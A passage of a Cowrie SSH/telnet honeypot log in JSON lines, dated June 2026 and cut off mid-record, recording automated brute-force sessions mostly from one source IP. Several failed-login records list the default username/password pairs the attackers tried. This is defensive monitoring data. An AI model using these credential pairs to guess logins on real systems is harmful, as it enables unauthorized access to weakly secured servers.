{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:44.511231Z","src_ip":"141.11.88.14","session":"d06149ce732b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:45.172970Z","src_ip":"141.11.88.14","session":"d06149ce732b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:46.297601Z","src_ip":"141.11.88.14","session":"d06149ce732b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39156,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf34581482c","protocol":"telnet","message":"New connection: 94.23.66.112:39156 (10.17.0.5:23) [session: 3cf34581482c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:48.206374Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20394,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ae8c46694d8","protocol":"ssh","message":"New connection: 141.11.88.14:20394 (10.17.0.5:22) [session: 9ae8c46694d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:50.750741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:50.894805Z","src_ip":"141.11.88.14","session":"9ae8c46694d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:50.899040Z","src_ip":"141.11.88.14","session":"9ae8c46694d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:51.354655Z","src_ip":"141.11.88.14","session":"9ae8c46694d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:52.468332Z","src_ip":"141.11.88.14","session":"9ae8c46694d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20420,"dst_ip":"10.17.0.5","dst_port":22,"session":"7296363271fa","protocol":"ssh","message":"New connection: 141.11.88.14:20420 (10.17.0.5:22) [session: 7296363271fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:56.160872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:56.216753Z","src_ip":"141.11.88.14","session":"7296363271fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:56.458368Z","src_ip":"141.11.88.14","session":"7296363271fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor@123","message":"login attempt [monitor/monitor@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:56.719746Z","src_ip":"141.11.88.14","session":"7296363271fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:57.808089Z","src_ip":"141.11.88.14","session":"7296363271fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39898,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0fa4cb94687","protocol":"ssh","message":"New connection: 141.11.88.14:39898 (10.17.0.5:22) [session: b0fa4cb94687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:01.794126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:01.803099Z","src_ip":"141.11.88.14","session":"b0fa4cb94687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:01.885968Z","src_ip":"141.11.88.14","session":"b0fa4cb94687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:02.210527Z","src_ip":"141.11.88.14","session":"b0fa4cb94687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:03.329454Z","src_ip":"141.11.88.14","session":"b0fa4cb94687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34822,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4e0f411018d","protocol":"ssh","message":"New connection: 27.71.230.31:34822 (10.17.0.5:22) [session: b4e0f411018d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:04.477951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:04.680088Z","src_ip":"27.71.230.31","session":"b4e0f411018d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:04.753278Z","src_ip":"27.71.230.31","session":"b4e0f411018d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39924,"dst_ip":"10.17.0.5","dst_port":22,"session":"daf757b60903","protocol":"ssh","message":"New connection: 141.11.88.14:39924 (10.17.0.5:22) [session: daf757b60903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:05.664394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:05.723048Z","src_ip":"141.11.88.14","session":"daf757b60903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:05.838696Z","src_ip":"141.11.88.14","session":"daf757b60903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:06.419382Z","src_ip":"141.11.88.14","session":"daf757b60903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:07.553996Z","src_ip":"141.11.88.14","session":"daf757b60903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123456!","message":"login attempt [root/Password123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:08.516385Z","src_ip":"27.71.230.31","session":"b4e0f411018d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:09.955613Z","src_ip":"27.71.230.31","session":"b4e0f411018d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":43568,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f8fbf559acd","protocol":"ssh","message":"New connection: 141.11.88.14:43568 (10.17.0.5:22) [session: 3f8fbf559acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:10.727154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:10.731641Z","src_ip":"141.11.88.14","session":"3f8fbf559acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:10.880485Z","src_ip":"141.11.88.14","session":"3f8fbf559acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456A","message":"login attempt [root/123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:11.256545Z","src_ip":"141.11.88.14","session":"3f8fbf559acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:12.342970Z","src_ip":"141.11.88.14","session":"3f8fbf559acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":43608,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3423e540308","protocol":"ssh","message":"New connection: 141.11.88.14:43608 (10.17.0.5:22) [session: b3423e540308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:15.916250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:15.966711Z","src_ip":"141.11.88.14","session":"b3423e540308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:16.088560Z","src_ip":"141.11.88.14","session":"b3423e540308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.88513422012329,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:16.276015Z","src_ip":"128.199.8.54","session":"338d9780effe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:16.617275Z","src_ip":"141.11.88.14","session":"b3423e540308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:17.853230Z","src_ip":"141.11.88.14","session":"b3423e540308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16326,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b546962eee1","protocol":"ssh","message":"New connection: 141.11.88.14:16326 (10.17.0.5:22) [session: 4b546962eee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:20.538013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:21.096794Z","src_ip":"141.11.88.14","session":"4b546962eee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v